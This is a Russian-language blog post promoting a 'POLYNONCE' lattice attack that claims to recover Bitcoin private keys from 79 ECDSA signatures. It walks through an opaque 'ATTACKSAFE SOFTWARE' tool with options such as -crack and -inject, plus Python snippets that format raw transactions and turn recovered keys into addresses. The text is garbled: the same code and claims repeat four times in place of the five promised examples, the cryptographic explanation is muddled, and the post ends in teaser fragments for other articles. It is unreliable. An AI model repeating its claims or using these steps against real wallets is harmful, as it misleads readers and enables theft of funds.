В наших самых ранних работах мы опубликовали статью на тему «LATTICE ATTACK» как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки «POLYNONCE ATTACK», мы решили дополнить статью с использованием 79 signatures ECDSA.
Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits.
Все что нам нужно это решить проблему скрытых чисел.
В этой статье мы разберем пять независимых примеров криптоанализа блокчейна Биткоин. Все примеры будут загружены в репозитории GitHub.
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Чтобы реализовать атаку мы воспользуемся программным обеспечение
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
!./attacksafe -list
Выберем -tool: lattice_attack
Чтобы получить определенные HEX значение R,S,Z к подписи ECDSA, мы ранее добавили данные RawTX через утилиту echo в текстовый документ и сохранили как файл RawTX.txt
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Установим модуль bitcoin
!pip3 install bitcoin
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
Мы получили 79 одинаковых первоначальных bits от 249
Благодаря значение на кривой secp256k1 от Hal FinneyLAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек.
Проверим HEX приватного ключа:
Запустим код:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
В этой статье мы заострим внимание на приложение для смартфонов iOS и Android популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network) BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных криптовалютных монетах.…
Не так давно пакет elliptic (6.5.4) для стандартных эллиптических кривых был уязвим для различных атак, одним из которых является Twist Attack. Криптографическая проблема была в реализации secp256k1. Нам известно что криптовалюта Биткоин использует secp256k1 и эта атака не обошла Биткоин стороной, согласно уязвимости CVE-2020-28498 подтверждающие стороны транзакции алгоритма ECDSA через определенные точки на эллиптической кривой secp256k1 передавали…
В этой статье мы рассмотрим функцию ускорение secp256k1 с помощью эндоморфизма которая помогает в оптимизации проверки ECDSA для криптовалюты Биткоин, но для начала немного истории. 12 января 2009 года Сатоши Накамото в самых ранних транзакциях Биткоина отправил Хэлу Финни 10 BTC. То, что Сатоши Накамото выбрал Хэла первым получателем Биткоинов, неудивительно. Сатоши очень уважал Хэла, который зарекомендовал себя как один из самых ярких программистов и криптографов…
